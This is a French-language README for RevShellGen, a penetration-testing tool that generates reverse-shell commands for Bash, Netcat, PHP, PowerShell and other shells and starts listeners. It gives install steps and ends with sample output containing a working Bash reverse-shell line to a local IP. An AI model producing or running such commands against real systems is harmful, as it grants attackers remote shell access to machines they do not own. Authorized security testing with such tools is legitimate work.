
Générateur de shell inverse écrit en Python 3.
Générateur de Shell Inversé
Automatisez la génération de shells inversés avec style
Générez, encodez et interceptez des shells inversés sans tracas
Fonctionnalités • Installation • Utilisation • Types de Shell • Contribuer
RevShellGen est un outil en ligne de commande puissant qui simplifie le processus de génération de commandes de shell inversé. Fini de chercher la syntaxe, l'encodage manuel, les maux de tête de configuration. Cet outil s'en charge avec une interface intuitive.
# Installation depuis PyPI
pip install revshellgen
# Lancement de l'outil
revshellgen
# Cloner le dépôt
git clone https://github.com/t0thkr1s/revshellgen
cd revshellgen
# Installer les dépendances
pip3 install -r requirements.txt
# Lancer l'outil
python3 revshellgen.py # ou python3 revshellgen_cli.py
RevShellGen nécessite les paquets Python suivants :
| Paquet | Utilité |
|---|---|
pyperclip | Opérations presse-papiers |
colorama | Couleurs du terminal |
readchar | Saisie interactive au clavier |
netifaces | Détection des interfaces réseau |
git clone https://github.com/t0thkr1s/revshellgen
cd revshellgen
pip3 install -r requirements.txt
git clone https://github.com/t0thkr1s/revshellgen
cd revshellgen
python3 setup.py install
git clone https://github.com/t0thkr1s/revshellgen
cd revshellgen
python3 -m venv venv
source venv/bin/activate # Sur Windows : venv\Scripts\activate
pip3 install -r requirements.txt
git clone https://github.com/t0thkr1s/revshellgen
cd revshellgen
pip3 install pyperclip colorama readchar netifaces
git clone https://github.com/t0thkr1s/revshellgen
cd revshellgen
pip3 install --user -r requirements.txt
# Vous aurez peut-être besoin d'installer python3-dev
sudo apt-get install python3-dev # Debian/Ubuntu
sudo yum install python3-devel # RHEL/CentOS
# Installez ncat pour un meilleur support de l'écouteur
brew install nmap # Inclut ncat
Lancez l'outil
python3 revshellgen.py
Configurez votre shell inversé
La commande générée est automatiquement copiée dans le presse-papiers
Démarrez l'écouteur (automatique)
Exécutez la commande sur la machine cible
![]() Sélection du Shell |
![]() Génération de la commande |
| Type de Shell | Description | Plateforme |
|---|---|---|
| Bash | Shell inversé TCP Bash | Linux/Unix |
| Python | Shell inversé Python | Multi-plateforme |
| Netcat | Shell inversé nc traditionnel | Linux/Unix |
| Netcat mkfifo | Netcat avec fifo nommé | Linux/Unix |
| Perl | Shell inversé Perl | Multi-plateforme |
| PHP | Shell inversé PHP | Multi-plateforme |
| Ruby | Shell inversé Ruby | Multi-plateforme |
| Java | Shell inversé Java | Multi-plateforme |
| AWK | Shell inversé AWK | Linux/Unix |
| Socat | Shell inversé Socat | Linux/Unix |
| Socat TTY | Socat avec TTY complet | Linux/Unix |
| Telnet | Shell inversé Telnet | Linux/Unix |
| PowerShell | Windows PowerShell | Windows |
RevShellGen inclut désormais des instructions complètes de mise à niveau TTY. Après avoir intercepté un shell, l'outil fournit :
L'outil détecte automatiquement et utilise la variante netcat appropriée :
ncat (préféré, issu du paquet nmap)nc (netcat traditionnel)nc spécifique à macOS$ python3 revshellgen.py
__ __ __
____ ___ _ __ ___ / / ___ / / / / ___ _ ___ ___
/ __// -_)| |/ / (_-< / _ \/ -_) / / / / / _ `// -_) / _ \
/_/ \__/ |___/ /___//_//_\__/ /_/ /_/ \_, / \__/ /_//_/
/___/
---------- [ SÉLECTIONNER IP ] ----------
[ x ] 192.168.1.10 sur eth0
[ ] 10.0.0.5 sur tun0
[ ] Spécifier manuellement
---------- [ SPÉCIFIER LE PORT ] ----------
[ # ] Entrez le numéro de port : 4444
---------- [ SÉLECTIONNER LA COMMANDE ] ----------
[ x ] unix_bash
[ ] unix_python
[ ] unix_nc_mkfifo
...
---------- [ COMMANDE DE SHELL INVERSÉ ] ----------
bash -i >& /dev/tcp/192.168.1.10/4444 0>&1